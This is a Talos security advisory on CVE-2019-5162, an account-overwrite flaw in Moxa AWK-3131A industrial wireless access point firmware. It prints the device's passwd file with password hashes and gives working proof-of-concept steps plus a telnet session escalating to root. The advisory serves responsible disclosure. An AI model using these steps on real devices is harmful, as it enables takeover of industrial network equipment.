Talos Vulnerability Report

TALOS-2019-0955

Moxa AWK-3131A iw_webs Account Settings Improper Access Control Vulnerability

February 24, 2020
CVE Number

CVE-2019-5162

Summary

An exploitable improper access control vulnerability exists in the iw_webs account settings functionality of the Moxa AWK-3131A firmware version 1.13. A specially crafted user name entry can cause the overwrite of an existing user account password, resulting in remote shell access to the device as that user. An attacker can send commands while authenticated as a low privilege user to trigger this vulnerability.

Tested Versions

Moxa AWK-3131A Firmware version 1.13

Product URLs

http://www.moxa.com/product/AWK-3131A.htm

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-284: Improper Access Control

Details

The Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client is a wireless networking appliance intended for use in industrial environments. It is designed to provide wireless communication capabilities to the environments in which it is deployed. Communication with the device is possible using HTTP, Telnet, and SSH.

Included with the web-based interface is the ability to add, delete, and edit user accounts to interact with the various exposed services. When a new account is added, various checks are performed to ensure that the account being added conforms with the expected format. If the new account passes all applied checks, the details are passed into a function that creates a new user account on the system. When this account is created it is given root permissions, but configured to only use the iw_console restricted terminal as its default login shell for telnet and ssh access.

By default the device comes with 42 default user accounts, most of which are service accounts that cannot be used to login due to either a non-existent password or a nologin default shell. These can be seen below:

root:$1$$1ZudtN1wlcCPXkNu2w6vT/:0:0:root:/:/etc/nologin.sh
daccli:$1$$oCLuEVgI1iAqOA8pwkzAg1:0:0:root:/:/usr/sbin/daccli
bin:x:1:1:bin:/bin:/etc/nologin.sh
daemon:x:2:2:daemon:/sbin:/etc/nologin.sh
adm:x:3:4:adm:/var/adm:/etc/nologin.sh
lp:x:4:7:lp:/var/spool/lpd:/etc/nologin.sh
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/etc/nologin.sh
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/etc/nologin.sh
operator:x:11:0:operator:/root:/etc/nologin.sh
games:x:12:100:games:/usr/games:/etc/nologin.sh
gopher:x:13:30:gopher:/var/gopher:/etc/nologin.sh
ftp:x:14:50:FTP User:/var/ftp:/etc/nologin.sh
nobody:x:99:99:Nobody:/:/etc/nologin.sh
rpm:x:37:37::/var/lib/rpm:/etc/nologin.sh
dbus:x:81:81:System message bus:/:/etc/nologin.sh
avahi:x:70:70:Avahi daemon:/:/etc/nologin.sh
rpc:x:32:32:Portmapper RPC user:/:/etc/nologin.sh
mailnull:x:47:47::/var/spool/mqueue:/etc/nologin.sh
smmsp:x:51:51::/var/spool/mqueue:/etc/nologin.sh
nscd:x:28:28:NSCD Daemon:/:/etc/nologin.sh
vcsa:x:69:69:virtual console memory owner:/dev:/etc/nologin.sh
haldaemon:x:68:68:HAL daemon:/:/etc/nologin.sh
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/etc/nologin.sh
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/etc/nologin.sh
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/etc/nologin.sh
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
pcap:x:77:77::/var/arpwatch:/etc/nologin.sh
xfs:x:43:43:X Font Server:/etc/X11/fs:/etc/nologin.sh
distcache:x:94:94:Distcache:/:/etc/nologin.sh
ntp:x:38:38::/etc/ntp:/etc/nologin.sh
apache:x:48:48:Apache:/var/www:/etc/nologin.sh
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
webalizer:x:67:67:Webalizer:/var/www/usage:/etc/nologin.sh
squid:x:23:23::/var/spool/squid:/etc/nologin.sh
hsqldb:x:96:96::/var/lib/hsqldb:/etc/nologin.sh
gdm:x:42:42::/var/gdm:/etc/nologin.sh
admin:$1$lz3.QJLe$3HSiCnSdmi2T4j94apL25.:0:0:root:/:/usr/sbin/iw_console
art::0:0:art calibration:/:/etc/art_shell.sh

By using the web-based account management platform it is possible to "create" a new user account that has the same name as any of the existing accounts, at which time that account password can be changed. When this is used against the "news" account, it is possible to gain access to a system shell from which root access can be obtained via the su command with a new user.

Exploit Proof of Concept

  • Navigate to 'Main Menu -> Maintenance -> Account Settings' in the web portal
  • Add the user 'news' with the password 'moxa'
  • Add the user 'newroot' with the password 'moxa'
  • Click to confirm the changes and reboot the device

You can then login as follows:

user@machine:~# telnet 192.168.127.253
Trying 192.168.127.253...
Connected to 192.168.127.253.
Escape character is '^]'.

AWK-3131A_50:E8:6A login: news
Password: 
login: can't chdir to home directory '/etc/news'
/ $ whoami
news
/ $ su -s /bin/sh newroot
Password: 
~ # whoami
root
~ # exit
/ $ exit
Connection closed by foreign host.
user@machine:~#

Timeline

2019-11-04 - Vendor Disclosure
2020-02-24 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.